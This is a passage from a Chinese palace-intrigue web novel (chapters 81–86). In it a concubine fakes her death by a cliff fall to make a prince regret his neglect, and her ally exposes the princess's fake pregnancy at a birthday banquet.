云清婳一怔,她倏地想到,听说太后赐给赵婉宁了一张生子秘方。 想必那生子药方不是什么好东西,胎儿或许会平安诞生,但母体或许会出意外…… 只可惜,赵婉宁的身子败得太厉害,根本怀不了孕,不然这张药方就真的能帮她报仇了。 “妾身不争气,恐怕要让您失望了。妾身没想争输赢,妾身只求真心。”她歉疚地说。 太后眼底尽是欣赏,她瞥了眼屏风,“傻!女人不为自己争,还能不为孩子争?该服软便服软,墨染高兴了,你的地位才会高。” 云清婳早就猜到狗男人就在屏风后面。 裴墨染急了! 所以搬救兵来了! 这是她飙演技的好机会! “妾身不愿演戏,不愿算计夫君,这样活着太累了。”云清婳跪地,向太后叩首。 太后似乎对她很失望,让她退下。 云清婳离开后,裴墨染心急如焚地从屏风后走出来,他不悦道:“皇祖母,您怎能这样教蛮蛮?您会把蛮蛮教坏的!” 太后跟桂嬷嬷都忍不住对他翻白眼。 她装傻,“不是你说清婳小气,非逼你处置王妃吗?哀家劝得不对?” “本王是想让她放下这件事,不要记恨本王。”裴墨染真的急了,有些口不择言。 太后的丹凤眼一挑,厉声道:“她敢!你是肃王,她岂能记恨?不过就算记恨了也无妨,你的叔伯,不满你父皇的还少吗?可为人臣子,他们不满也只能憋着。” 裴墨染听出了皇祖母在点他,他无奈道:“皇祖母,孙儿跟你说不清,改日再来看您。” 桂嬷嬷送他走到了大门,她饱经风霜的老眼看穿了一切,“王爷,其实就算是皇上,也有体己人,那便是您的母妃。人生在世,谁能没有个软肋?” 她们早就看明白了,王爷这是又想云侧妃爱他,却又不敢爱云侧妃。 处置赵婉宁并不难,但他不想为了云侧妃付出太多,不愿为云侧妃破例。 两个犟种,谁都不肯退让,所以两败俱伤。 裴墨染的面色深沉,无人能看懂他在想什么。 …… 云清婳经过御花园时,被一股力拖到了假山后,她落入了一个温凉的怀抱。 第82章 你猜,王爷更在乎谁? 怪石嶙峋,遮挡天日,在裴云澈的脸上落下一片阴翳。 他斯文儒雅的面孔显得十分森冷,就像蛰伏在暗处的毒蛇。 “殿下。”她的粉唇微张,像是被吓到。 裴云澈的嗓音低哑,眼中蕴着浓浓的思念,“蛮蛮。” 她环抱着他的腰,将脸埋进他的胸口,抽抽噎噎地哭起来,“妾身对不住您,妾身没有护住我们的孩子。” “怎会怪你?都怪裴墨染!这个仇,本王记下了。”裴云澈的眼神像是淬了冰。 云清婳的脸上倒映出了一丝惶恐,“殿下,带蛮蛮离开京城好不好?蛮蛮总是感觉心神不宁,就好像再也不能陪您了。” 裴云澈的眸色黯了下去。 他是父皇最宠爱的儿子,他是中宫嫡子,他是大昭未来的皇帝! 他绝对不能离开京城。 裴云澈只当她被吓到了,严肃道:“蛮蛮,不要多想,本王已经警告裴墨染了,没人会伤害你。” “……”云清婳用失望的眼神看他。 裴云澈的心中有些难受,但没有过多解释。 云清婳要的就是男人的绝情。 行啊,死狗贼,到时候别后悔。 …… 云清婳一回府便被召去了清心阁。 这时所有妾室都在。 赵婉宁的身边又换上了新的婢女。 她裹着名贵的狐裘大氅坐在上首,发髻上的金簪煜煜生辉,她的气质雍容华贵,尽显王妃风范。 许多妾室都用艳羡的目光看向赵婉宁。 “好苦……”赵婉宁拧着眉头,将安胎药吐了出来。 春苗苦恼地吁了口气,诚恳的福礼:“云侧妃也怀过孕,一定很有经验,不如您来伺候王妃喝药吧。” 不管她答应与否,赵婉宁便抚着小腹道:“那便有劳云妹妹了。” 云清婳的眼底闪过讥诮,“是。” 魏娴欲言又止,她满脸忧色。 而赵婉宁内心狂喜。 她的身子算起来将近四个月了,快要显怀了。 所以这个孩子不能要了。 今日就得嫁祸给云清婳! 到时候在座的所有人都是她的人证! 云清婳走上前,她冲飞霜使了个眼色,“传几个府医来。” 赵婉宁的指甲狠狠攥进手心,指尖泛着乳白色,“云妹妹,你这是……” “妾身怕有人陷害王妃跟妾身,所以还是谨慎些。”云清婳柔声回答。 不一会儿,三个府医来了。 云清婳吩咐道:“你们检查一下安胎药,顺便再检查一下我的香囊、指甲、头发,免得被人沾上了麝香之类的,掉进了汤药里,间接害了王妃。” “是。”府医逐个探查起来。 赵婉宁的脸都在抽搐。 贱人! 去死啊! 最后府医说了没有问题,云清婳才喂赵婉宁将汤药喝下。 云清婳冷笑,想攀咬她? 做梦! 而魏娴看着赵婉宁气急败坏的嘴脸,险些笑喷。 云清婳完全预判了赵婉宁的预判! 顶级压制! “王妃的这一胎,说不定又是个男孩呢。”云清婳的眼尾一挑,似乎别有深意。 赵婉宁的眸子瞪大了一圈,脸色倏地惨白,她惊愕的嘴唇都在颤。 “奇怪,为什么云姐姐说又?”沈沁懵懂地问。 “是啊。”其他人也很疑惑。 云清婳默了默,“因为之前有人给我算过,说我的那一胎也是男孩。” “云姐姐,孩子会再有的。”沈沁安慰。 云清婳回之一笑。 赵婉宁的后背出了一层薄汗,她说身子不舒服,命所有人退下了。 “贱人!贱人!给我去死啊!”她砸碎了一地的茶盏。 云清婳方才一定在挑衅她! 这个贱人恐怕已经知道福宝跟她的关系了! 春苗的心里发慌,她劝道:“王妃,您冷静啊,奴婢已经安排好了。” “嗯!”赵婉宁的眼泪扑簌簌地落。 她的这个秘密,一定不能暴露出来,一定不能让王爷知道! 否则,她这一辈子就毁了。 …… 裴墨染听说了今日清心阁的事。 得知云清婳原本怀的是男胎之事,他的心中更是难受。 裴墨染定定地站在玄音阁外,脸上像凝结了一层薄薄的寒霜。 无人能猜到他的心里在想什么。 贴身太监试探性地开口:“王爷,不如去玄音阁坐坐?春寒料峭的,玄音阁的炭火最足了。” 裴墨染冷冷地刮了他一眼,甩袖离开。 他心乱如麻,不知该如何面对蛮蛮。 她想要的,他这辈子或许都给不了。 玄音阁内。 云清婳正在烹茶,她手法娴熟,行云流水,她手下的仿佛是杨枝甘露,茶香四溢。 魏娴偏着脑袋从门缝悄悄往外看。 “王爷走了。”她毫无波澜,完全在意料之中。 所以,这样的男人,哪配得到她们的真心呢? 云清婳淡笑,“快来喝茶吧。” 魏娴从她的手中接过薄釉茶盏,与她相对而坐,“赵婉宁真的会对你下手吗?你这么肯定?” 她笃定地颔首,双眼坚定,“所以剩下的戏,要靠你完成了。” 魏娴对云清婳有种天然的信任感,“我知道了。” 云清婳已经接到段南天的线报,赵婉宁已经买凶了。 …… 翌日清晨。 云清婳便被赵婉宁邀请一同去感业寺祈福。 赵婉宁的笑容娴静,俨然一副端庄的主母做派,她牵着云清婳的手,“云妹妹,以前的事都过去了,从今往后我们相互扶持,希望我们的孩儿都会顺利诞生。” “妾身惟愿王妃平安诞下嫡长子。”云清婳故意咬重最后三字。 或许是心虚,赵婉宁总感觉她的话别有深意,后背又起了一层薄汗。 马车开到了垂花门。 云清婳正欲上马车时,一阵脚步声从身后传来。 裴墨染穿着一身玄色大氅朝她们走来。 他的视线全然落在云清婳身上,神色幽深复杂,情绪却淡得让人捉摸不透。 就连云清婳都猜不透他究竟在想什么。 “本王陪你们一起。”裴墨染没有感情道。 云清婳漠然瞥了他一眼,“不必了。” “云妹妹误会了,是我让王爷来的,感业寺的方丈说了,求喜签,最好孩儿的爹爹亲自求。”赵婉宁扎心的说着,还羞答答地挽住裴墨染的胳膊。 云清婳的眼中露出受伤的神色,她尴尬地牵牵唇角,“妾身僭越了。” 裴墨染抽回手,他看着云清婳委屈、难过的小脸,心里很是酸涩。 所以,蛮蛮还是在乎他的对吧? 他想要解释,可最终没有开口。 他在逃避,他畏惧蛮蛮的质问。 一路上,云清婳都坐在下位,将自己的存在感化为零。 而赵婉宁叽叽喳喳,时常冲裴墨染撒娇。 到了感业寺,裴墨染独自去找方丈求签。 他为赵婉宁求了安胎符后,想再为云清婳求一枚。 可或许是来得太晚,符箓所剩无几。 “施主,上午的符箓已经结缘完毕,这里只剩一枚永结同心的姻缘符。”主持指着桃色的纹绣道。 裴墨染蹙眉,“算了吧。” 就在这时,他的身后走来一对年轻夫妇。 二人嬉笑着,看上去情谊甚笃。 随着二人的逼近,裴墨染感到紧迫,他飞快地拿起姻缘符箓,“这枚我要了。” 可符箓到手后,他登时有点后悔。 …… 赵婉宁受不了香火味,她跟云清婳就在天王殿外的放生池旁等候。 “云妹妹,你说王爷更在乎你还是我呢?”赵婉宁的尾音上扬,颇有几分挑衅。 云清婳没有情绪地瞥她,“自然是王妃。” “是吗?我们来试试如何?” 赵婉宁话音刚落,一只大手从云清婳的后脑窜了出来,一方绣帕捂住了她的口鼻,她吸入了粉尘,头昏脑涨眼前一黑。 呵,这么快,就来了吗? 第83章 云清婳成为白月光 她的嘴角扯出玩味的笑。 真是感谢赵婉宁送来的东风! 这可是渣男追妻火葬场的必备情节。 她“死”后,全世界都会吻上来,重新“爱”她,追悔莫及! 裴墨染、裴云澈,都会悔恨当初对她的绝情、敷衍、犹豫! …… 再次醒来时,她跟赵婉宁正倒在悬崖边。 她的四肢瘫软无力。 一个蒙面黑衣人将她跟赵婉宁从地上扯了起来,跟拎鸡仔似的,抓住她们的后衣领。 “救命、救命啊……”云清婳有气无力的虚弱叫喊。 赵婉宁也装模作样地呵斥:“你是谁?我劝你快放了我们,倘若你敢放肆,王爷是不会放过你的!” 黑衣人仰天大笑,“哈哈哈哈……你以为我怕?裴墨染杀了我的弟兄,我虽杀不了他,也要折磨他。” “王爷岂会受你威胁!放开我!”赵婉宁虚虚地挣扎。 云清婳冷嘁。 赵婉宁的演技可真拙劣啊。 若是没猜错,稍后不论裴墨染选择先救谁,黑衣人都会把她推下悬崖。 如果裴墨染选择的是赵婉宁,黑衣人理所当然杀了她。 如果裴墨染选择的是她,黑衣人可以说,他杀了裴墨染最爱的女人。 “蛮蛮!婉宁!”裴墨染很快就带人赶了过来。 侍卫举起弓箭,箭头齐刷刷对准黑衣人。 黑衣人是赵婉宁花重金买的死士,根本不怕死,“裴墨染!有种你就放箭啊,让两个小美人陪我死!” 裴墨染的眸中蕴着浓浓的杀气,他抬起手,示意侍卫放下弓箭。 “你想如何?”他平静地开口,似乎根本不在乎两个人质的死活。 黑衣人嘲弄道:“你西南剿匪,杀死了我的弟兄,你说我想做什么?当然是想折磨你!裴墨染,听说这两个女人,你都很喜欢,给你最后一个机会,两个女人,你救谁?” 裴墨染的眸子闪出一丝情愫,可还来不及捕捉就消失不见,“放了她们,饶你不死。” “哈哈哈哈哈你以为我会怕死?”黑衣人癫狂地往悬崖的方向后退了三步。 他的脚后跟都已经悬空了。 啊—— 赵婉宁吓得尖叫。 云清婳的身子轻颤,眼泪滚落出眼眶。 裴墨染鬓角的青筋鼓了起来,他低吼:“站住!” 他深深看着云清婳,可视线却又不住地瞥向赵婉宁的小腹。 “王爷,我不怕死,您救云妹妹吧。”赵婉宁哭喊道。 云清婳咬着下唇,小脸没有血色,哭得梨花带雨。 裴墨染的眼中布满红血丝,气血翻涌,他恨不得手刃了这个刺客。 他双目炙热地望着云清婳,眼神却又游移到赵婉宁的小腹上。 两者究竟该选谁,他似乎知道答案。 但从小的观念、教养、礼法告诉他,这是不对的,他不能这样选,女人绝对比不上皇嗣! “想好了吗?我数三个数!”黑衣人嘲弄地说,“三——” 裴墨染不敢轻举妄动,他实在害怕黑衣人玉石俱焚,心脏快跳出胸口。 一个是心爱的女人,一个是父皇期待的皇嗣。 赵婉宁也琢磨不透裴墨染的心思,她仰起头,递给黑衣人一个眼神。 “二——” 云清婳看狗男人犹犹豫豫的模样,只觉得膈应。 她才不要被赵婉宁左右,她才是这场游戏的主导者。 “裴墨染!要是有下辈子,我再也不要遇见你。”云清婳失望地看着他,她挥开黑衣人的手,依然绝望的朝后倒去。 娇小的身躯,如一只翩跹的蝶儿,坠下悬崖。 “蛮蛮……”裴墨染的眸子涣散,他朝悬崖奔去。 可乾风抓住他的胳膊,“王爷,危险,不要冲动啊!” 数箭齐发。 侍卫将黑衣人射杀,赵婉宁逃脱出来,她抱着裴墨染,凄楚地哭道:“王爷,臣妾以为再也见不到您了。” 裴墨染失力地跪在地上,红着眼看着悬崖下的深渊,心头起初没有感觉,随后像是被人硬生生剖下了一块肉,疼得他快要窒息。 “快找!命人下去找!快去啊!”他怒吼。 “是!”侍卫忙不迭跑下山。 裴墨染的脑中全是云清婳最后失望、怨恨的眼神。 她一定在怪他的犹豫,怪他没有坚定地选她。 思及此,他的双目赤红。 “王爷……”赵婉宁极力压制住笑意,“王爷,云妹妹在天有灵,一定不想看到您这样。” “住口!蛮蛮不会出事的!”裴墨染陡然拔高声音,眼神像是在看战场上的敌人。 赵婉宁吓得身躯一颤,面色惨白。 裴墨染的眼眸如鹰隼般狠厉,“送王妃回府!” 赵婉宁的心脏都快跳出来,双腿都是瘫软的。 她思忖:现在装什么深情? 方才不是也没选云清婳吗? …… 裴墨染带人在山下搜了三天三夜,可哪怕是一片衣角、一只鞋都没有搜到。 这件事很快传到了云家。 裴墨染亲自登门赔罪,丞相夫人当场晕了过去,而云丞相也老泪纵横,两位云家公子也加入了寻常云清婳的队伍之中。 云家人虽然明面上没有怪他,可态度明显不复当初。 裴云澈得知消息后,也带人在山下寻找起来,他心中恨透了裴墨染、赵婉宁,几度失态,红了眼眶。 二人在山下相遇时,裴云澈眼底的恨意愈发浓烈,完全不遮不掩。 他后悔当初没有带蛮蛮离京。 蛮蛮冰雪聪明,肯定感知到了裴墨染、赵婉宁动了杀心,所以在向他求救。 可他却敷衍蛮蛮,甚至还展露出了不悦。 那一刻,蛮蛮该有多么的绝望? 是他,都是他害死了蛮蛮! 在第七日时,仍旧找不到云清婳的踪迹。 皇后派人将裴云澈、裴墨染各自请回府。 …… 肃王府中空前的寂静、冷清。 显然赵婉宁已经把噩耗带回肃王府了。 裴墨染在去往玄音阁的路上,经过了花园。 几个妾室凑在一起。 “王爷心尖上的人果然是王妃!云侧妃就是个狐媚子,王爷自然不会救她。”孟氏眉飞色舞。 “真羡慕王妃,这就是患难见真情啊。” “这么多日还没有找到尸骨,真是奇怪,难道人没死?”一个妾室疑惑地问。 孟氏咯咯的笑了,“从悬崖上掉下来,就算是顽石也摔碎成泥了!若是找不到人,只能说明被豺狼虎豹吞了。” “嘶……”众人脸色大变,“好可怜。” 裴墨染心口一痛,他大步上前,周身携带着滔天的怒意,一脚踹翻了桌案。 “放肆!” 桌案砰的重重砸倒在地,险些砸到人。 众人大惊,急忙跪下,“参见王爷。” “贱妇!来人,将她杖责三十,送去进庄子!”裴墨染面容阴鸷,暴戾地说。 第84章 除了她,还有谁爱你? “不要啊,妾身知错了,妾身知错了……”孟氏哭喊着求情。 可太监堵住她的嘴,麻利地将人拖走了。 所有妾室瑟瑟发抖,呼吸都小心翼翼起来。 她们都明白了,云清婳三个字从此就是肃王府的禁忌了。 …… 裴墨染径自去了玄音阁。 一群婢女跟沈沁正跪在庭院中凄凄地哭着,往铜盆里烧着纸钱。 这一幕刺痛了他的双眼。 他的心像是被人用匕首挖去一块,疼得厉害,他从来没有这般痛苦的感受,就连舌尖都是苦涩的。 裴墨染径自走进寝殿,寝殿的摆设如常,可却再也嗅不到云清婳身上独有的馨香,再也看不到她灵动俏皮的身影。 ——夫君! ——夫君,你好久没来看我了! ——裴墨染,你真的是一个坏蛋! 这里的一切是那么的熟悉,却也寂静地让他感到陌生。 茶桌、贵妃榻、屏风、梳妆台…… 每一处都有蛮蛮跟他的回忆,这里的每一处都让他的心好疼,像是被撕开了似的。 裴墨染太久没睡过一场好觉,头脑昏昏沉沉的,他躺在榻上,想要感受云清婳的气息。 可榻上什么都没有了。 裴墨染阖上双眼,心里空空的,两行清泪从他的眼尾垂入鬓角。 他的手心紧紧攥着姻缘符。 心里忍不住想,若是他没有优柔寡断,向蛮蛮交付真心就好了。 他是爱她的! 明明之前有那么多次机会,他都可以来找蛮蛮,可他为何选择了逃避? 无尽的悔意涌上心头。 他后悔当初没有处置赵婉宁。 赵婉宁害了他跟蛮蛮的孩子啊,他为何要包庇赵婉宁? 他就是个混蛋! 裴墨染梦里全是云清婳的身影,可一睁眼,天光大亮,身侧只有冰冷整齐的锦衾。 门外传来女人哭哭啼啼的声音。 裴墨染悲从中来,似是被哭声感染,他居然泛起了轻微的鼻酸。 飞霜跪在火盆旁,烧着纸钱,哭声淅淅沥沥的。 “主子活着的时候,他故意冷落,人不在了,他装什么深情?”飞霜哭得一抽一抽的。 “嘘……这话可说不得。”魏娴的声音响起。 裴墨染的心窝像是遭到了重击,五脏六腑仿佛都拧在了一起。 他想说他没有冷落蛮蛮。 可旋即,又想嘲笑自己的虚伪。 有什么不敢承认的? 他就是冷落了!他不敢面对自己的真心,一直在逃避蛮蛮。 飞霜哭得喘不上气,“我才不怕,大不了杀了我,让我下去伺候主子!主子活着也痛苦,孩子被害了,凶手逍遥法外,所谓的夫君还故意冷落她,现在正好解脱了!” 魏娴的呼吸声变重,她也抽泣了几声,“云侧妃德才兼备,宽容善良,她这么好的人,怎就遭了横祸?” “魏夫人,其实奴婢现在不觉得主子可怜,奴婢觉得王爷可怜。”飞霜道。 魏娴一顿,她低声斥道:“别胡说了,王爷怎会可怜?” “主子新婚夜就被王妃派人羞辱过,诸如此类的下毒、栽赃,王爷替王妃瞒下了,主子未必不知。主子只是心疼王爷,替王爷保留脸面罢了。” 裴墨染闻言,他心中的愧意到达了顶峰。 一直以来,他以为自己把蛮蛮蒙在鼓里,蛮蛮并不知他的偏袒。 没想到蛮蛮全都知道,只是为了他,全部忍下了。 飞霜冷笑,“呵,除了主子,这世上还有谁会爱他?王爷每次让主子忍让,其实是把刀对准最爱自己的人罢了!” “别说了!”魏娴捂住她的嘴。 裴墨染忽地周身一寒,仿佛西北冷冽的寒风再次席卷了他的四肢百骸,落魄的长夜再次将他裹胁,永远没有尽头。 他步履沉重地走去门后,推开大门。 飞霜、魏娴惊恐得瞪圆了眼,似是没想到他会醒来。 “参见王爷。”二人的声音都在颤。 裴墨染垂眸,只见飞霜身侧放着一副纸鸢。 他眸色一亮,难以置信道:“这纸鸢……” “这纸鸢是王爷送给主子的,主子怎舍得烧?”飞霜双眼噙着泪,又埋怨又失望地看着他。 裴墨染弯下腰,捡起纸鸢,轻轻摩挲着筝面,如同找到了稀世珍宝。 “哪怕主子的心千疮百孔,可她仍对您抱有希望,没成想终究是主子自作多情了。”飞霜的眼泪掉进火盆里。 魏娴轻拍飞霜的背,“王爷不要跟小丫头计较,云侧妃心中定是有王爷的,不然也不会把纸鸢保存得这么好。” 他的手背上的青筋凸起。 可是蛮蛮在坠崖前发愿,希望下辈子跟他不再相见。 他拿着纸鸢,带人去了地牢。 刺客并没有死,他觉得此事定有蹊跷,便暗中命人将刺客关进了地牢审问。 …… 人走后,魏娴的脸上露出鄙夷。 这男人,真会演啊。 不知道的,还以为他是情圣呢。 “倘若云侧妃没‘死’,他一定会肆无忌惮地继续冷落她。现在人一出事,他就发现云侧妃的好了。”魏娴翻了个白眼。 飞霜揩去眼泪,“魏夫人,奴婢演得没问题吧?” 魏娴颔首,“下次别说这么多了。” 她正想问,是不是哪里出了纰漏。 魏娴补充道:“也让我多演两句。” 飞霜险些笑喷。 “接下来的戏,要看我了。”魏娴清冷的脸上线条紧绷。 …… 午后,裴云澈借口来找裴墨染商议政事,来到了肃王府。 在无人监视的角落,飞霜趁机将一缕头发递给裴云澈。 裴云澈双眸润泽,颤颤地接过。 这缕青丝上还染着淡淡的馨香,这是蛮蛮的味道。 “蛮蛮的头发怎会在这里?”他的眼下泛着淡淡的青黑,光风霁月的人略显疲惫邋遢。 飞霜的小脸满是泪痕,她吸吸鼻子,“主子嫁给肃王后饱受欺凌,朝不保夕,早就做好赴死的准备,所以留下一缕残发,以此陪伴殿下。” 裴云澈的心像是被浸入滚烫的沸水中,痛得快要裂开。 曾经有一份真挚无瑕的感情地摆在他面前,他却没有好好珍惜。 他悔,他恨! 裴云澈将青丝仔细地放在胸口前,他的心中种下了仇恨的种子。 …… 天色黯下,裴墨染从地牢出来后,便准备去北镇抚司。 云清婳出事的消息并没有传出来,只有裴墨染一党人以及云家知道。 旷了好几日的职,他必须得去将拖欠的政务处理了。 走到垂花门时,赵婉宁殷切的迎了上来。 她的双手攀上他的胳膊,温婉道:“王爷歇一会儿吧,您的身子不能再熬了。” 裴墨染清冷的轮廓一冽,他紧了紧身上的大氅,目视前方,不分给她一丝一毫的眼神。 矜贵疏离气场外泄,完全以上位者的姿态睥睨众生。 赵婉宁感受到了一股冷漠疏离的王者之气,讪讪地将手收了回去,“王爷……” “王妃这一胎,必须得是男孩,千万不要让本王失望!”他冷不丁开口,就像是在命令。 赵婉宁心里发慌,感觉浑身的毛孔都钻进了寒风,把她刺得浑身生疼。 生男生女,又不是她可以控制的。 可看着男人冰冷的侧脸,她竟然没有胆量拒绝。 赵婉宁的鼻梁发酸,眼泪氤氲在眼眶,委屈道:“是。” 第85章 赵婉宁假孕败露! 裴墨染似乎对她的答案很满意。 他眸子一斜,瞧了眼赵婉宁凸起的小腹,遂毫不留恋地上了马车。 赵婉宁不明白,为何裴墨染突然变得这么冷漠。 就好像,她只是一个生孩子的工具。 明明当初,裴墨染在悬崖上没有选择云清婳,他更在乎的人是她啊。 “王妃,咱们回寝殿吧。”春苗扶着赵婉宁。 赵婉宁扶着四个月的假肚子,焦虑得长了一脸的痘。 回到清心阁,赵婉宁焦虑得坐立不安,“怎么办?你说怎么流掉这个孩子,才能让王爷不怪罪?” 她想要流掉这个孩子,可裴墨染派了很多人看着她,恨不得她每走一步,就有无数双眼睛盯着。 她根本没机会流产啊。 春苗的双眼滴溜溜一转,脑中灵光一现,“王妃,贤王的生辰快到了,到时候人多眼杂,您随便找个人赖上不就得了?” “只能如此了。”赵婉宁长叹一声。 …… 京城的郊外,郁郁葱葱的山林后是一个淳朴安宁的小村庄。 午时一到,村落便炊烟袅袅。 云清婳正悠闲地坐在农户家中的火盆前,剥着甜蜜蜜的栗子吃。 坠崖自然是假的。 崖下长了一棵松柏,她早就安排段南天在腰间绑着绳子,在松柏上接她。 云二公子抹着眼泪,他委屈地控诉:“妹妹,你太过分了!为什么你假死的消息,全家都知道,你却唯独不告诉我?你是不是不喜欢二哥了?” “你的演技太差,我怕你毁了我的大戏!”她噘着嘴,“对了,你回家跟娘亲说一声,娘亲的演技太拙劣了,怎么一下子晕了呢?” 云二公子不满地哼了两声,“所以,接下来的戏怎么演?” 她的眸子灵动地一转,“接下来的戏是魏娴的,她要帮我拆穿赵婉宁假孕,让裴墨染追悔莫及。” …… 裴云澈生辰当日,裴墨染带了赵婉宁、魏娴一同前去。 魏娴为人沉稳,有她处理人情世故,终究是比赵婉宁让人放心的。 但赵婉宁却领会不到裴墨染的用意,她心中的妒火熊熊燃烧。 她连演都不演,眼神如蛇蝎般刺了魏娴一路。 而魏娴却真诚地回之微笑。 赵婉宁,马上,你就会悔不当初! …… 裴云澈素来节俭,甚少大操大办,所以他的生辰只邀请了心腹臣子跟兄弟。 宴席上,几个臣子的儿子穿梭、追逐、嬉闹。 裴云澈并不怪罪,还让太监带着他们一起玩。 “王爷,妾身有些醉了,想出去醒醒酒。”魏娴面颊绯红,故意将身子一斜,整个人都快倒进裴墨染的怀里。 她媚眼如丝,手还大胆地扯上了裴墨染的衣袖。 赵婉宁的火气腾的窜了起来,她恨不得扇魏娴这个贱人的脸。 “去吧,早些回来。”裴墨染自然明白女人家争宠的小心思,他轻声说。 “是。”魏娴笑吟吟地离席。 赵婉宁的眸色幽深。 这个贱人,敢当着她的面勾引王爷,那也去死吧! 魏娴回头看了一眼,瞧见赵婉宁蠢蠢欲动的眼神,她就放心了。 就在这时,几个四五岁的熊孩子追逐打闹的疯跑而来。 他们险些将魏娴撞倒,她吃痛地吸了口气,“呃……” “这位夫人,你没事吧?”男孩顽皮地问。 “我没事。”魏娴弯下腰,“王妃的衣服下里藏的有小宝宝,你们去看看是男孩还是女孩。” 几个男孩眼中流露出了浓厚的兴趣。 此时赵婉宁的肚子已经五个月,小腹隆起,远远看上去倒真像是藏了个孩子。 好巧不巧,赵婉宁此时就扶着后腰,不怀好意地朝魏娴走来。 魏娴的脸上泌出细碎的汗珠,心脏突突直跳。 成败在此一举了! 希望云清婳的猜测是对的! 如果,赵婉宁是假孕,她就赢了。 倘若是真孕,她与她的家族将会万劫不复! 云清婳,你千万别让我输啊。 “魏夫人……”赵婉宁说话时尾音上扬,如催命符一般。 魏娴站在几步开外,静静地看着她。 猝然,几个熊孩子朝赵婉宁冲了过去,“王妃,你肚子里是男孩还是女孩?” 他们将赵婉宁围住,踮起脚,小手往赵婉宁的肚子上摸。 “啊……滚开!滚开!”赵婉宁脸色大变,激动地护住肚子,“别碰我,来人,来人啊!” 可这些熊孩子都是贵胄子嗣,娇生惯养长大,怎会害怕? 他们变本加厉地推搡赵婉宁的肚子。 “王爷,救我,救我啊……”赵婉宁大叫。 众人闻风从宴厅冲了出来。 魏娴的心脏咚咚直跳。 看赵婉宁的表情这么惊慌,难道她真的怀孕了? “放肆!给本王住手!”裴墨染低吼一声,恶狠狠瞪着熊孩子。 熊孩子瞬间规矩了。 “王爷……”赵婉宁噙着泪,娇弱捂着肚子,小跑着扑进裴墨染的怀里。 “孩子没事吧?”裴墨染推开她,双眼紧紧盯着她的小腹。 赵婉宁委屈道:“臣妾没事,只是不知魏夫人跟孩子说了什么,孩子们就纷纷冲向我。” “嗯?”裴墨染抬眼,深色的眸如刀般朝魏娴刺去。 魏娴的头皮发紧,腿肚子不受控制地颤抖起来,“妾身冤枉啊。” “你还说冤枉?我方才分明看见你……”赵婉宁抬手指着魏娴,砰—— 一个不轻不重的东西噗呲一声滑落出来。 是一个西瓜大小,缝着系带的枕头。 枕头就坠在裴墨染的脚边。 而赵婉宁的肚子,瞬间平了。 裴墨染的瞳孔地震。 “啊……”赵婉宁手足无措,她蹲下想捡枕头,可手抖得却怎么也捡不起来。 “不、不、不……” 臣子、皇子以及太监、婢女都惊住了。 他们张大了嘴,难以置信的看着眼前荒唐的一幕。 有人看热闹不嫌事大,冷嘲热讽:“肃王妃这是假孕啊!好大的胆子!” “哈哈哈哈肃王妃生了个枕头出来。” “真是作孽!把云侧妃的孩子害死,她却假孕!” 赵婉宁的脸肉眼可见变得惨白,她瘫坐在地上,哭道:“王爷,王爷,不是您看到的这样……” 裴墨染的脸涨得通红,众人的羞辱、嘲笑充斥在耳边,让他的耳边一阵嗡鸣。 他的颜面扫地,自尊被人碾在脚下。 但这些他都不在乎! 一股悔意如同滔天的江水冲上他的心脏。 他的桃花眼微眯,森冷阴鸷地睨着赵婉宁。 好啊! 就是一个破枕头害得他跟蛮蛮离心,害得蛮蛮跟他天人两隔! 蛮蛮这么好,可全被她毁了! “王爷,王爷……”赵婉宁卑微地抓住他的衣摆,哭着祈求他的原谅,“王爷,臣妾是太在乎您了,臣妾是太爱您了。” “贱妇!”他咆哮出声,一脚踹开她的手。 啊—— 赵婉宁发出绵长的哀嚎,她朝后狠狠地摔到地上。 “我的手啊……”她撕心裂肺的痛叫,手掌瞬间肿了一圈,好像快要裂开了。 第86章 找到蛮蛮了! “来人,将此贱妇带回肃王府。”裴墨染丝毫不解气,恨恨地下令。 侍卫立即动作。 好在这场宴席的宾客都是裴云澈的亲信,所以此事不会传出去。 裴云澈也当即封锁了消息。 毕竟此事传出去,父皇不仅会怪罪裴墨染的眼光差,更会责怪母后当时没有劝阻。 “皇兄莫怪,本王扰了你的生辰宴。”裴墨染阴冷的脸色一改,瞬间切换上歉疚的表情。 “无妨,墨染,你要保重啊。”裴云澈担心地拍拍他的肩膀,可他的心中正肆意的嘲笑他。 有眼无珠的东西! 害了蛮蛮,结果你情比金坚的妻子也不怎么样嘛。 真是该死。 魏娴纵观全局,她的嘴角上扬。 啧,她果然没有选错盟友。 一切都在云侧妃的掌控之中! …… 赵婉宁的手骨裂了,右手也废了,她被带回肃王府后,哭喊着要见裴墨染。 还提起了西北的两年以及为裴墨染挡箭一事。 可裴墨染早就失望至极,旧事重提,他心里居然几乎没有感觉了。 裴墨染没有见赵婉宁,他对外宣称赵婉宁小产,让她安心在清心阁修养,所有人不得叨扰。 实则他下令将赵婉宁关进了暗室。 …… 玄音阁。 裴墨染不停地喝酒,醉了就躺在云清婳的床榻上,醒来就继续喝。 寝殿被捂出了一股子酒气,难闻至极。 飞霜在寝殿外,白眼都快翻上天了。 主子最爱干净了,裴墨染还把寝殿弄得一股臭味! “主子在的时候,对主子也没多好,主子死后,在这里闹什么?不知道的,还以为主子生前被宠上天了呢。”一个小婢女忍不住讽刺。 飞霜瞪了她一眼,让她赶紧退下。 裴墨染倒在床榻上,手心里紧紧抓着云清婳送他的荷包。 “蛮蛮,本王对不起你。”他的双眼发烫,鼻梁泛酸。 他当初为何没有坚定地选择蛮蛮? 居然为了一个枕头,让蛮蛮失望,让蛮蛮在跳崖之前说出下辈子不再相见的誓言。 她应该是恨他的吧。 忽地,庭院中传来哭喊声。 春苗在门外咚咚咚地磕头,“王爷,求您看在这些年的情分上,找人给王妃看看手吧!王妃的手疼,都疼晕好几次了。” “王爷,求您了!王妃的手倘若落下残疾,也是给您的脸上抹黑啊。” 裴墨染冰封的脸上有了一丝动容,他正欲传府医,一个人影走了进来。 乾风抱拳道:“主子,属下终于撬开了刺客的嘴!” 裴墨染黯淡无光的眸子倏地亮了,他咬牙切齿地问:“刺客是何人派来的?” “是……”乾风似是难以启齿。 “说!”裴墨染暴躁的低吼。 乾风纠结的开口:“是……王妃……” 裴墨染的身躯一震,他棱角分明的脸上风云变幻,眼中尽是戾气,“好啊!好啊!” “呵……” 他猝然笑了,杀气腾腾的面孔下溢出了淡淡的疯感。 “王爷……”乾风惊恐的望着他。 他周身的气压极低,气场阴鸷,让人不寒而栗。“将赵婉宁关进地牢!她看什么大夫?废掉一只手而已!” “是。”尽管是对感情迟钝的乾风也看明白了,王爷对赵婉宁彻底死心了。 裴墨染望着手里的荷包出神。 对不住,蛮蛮。 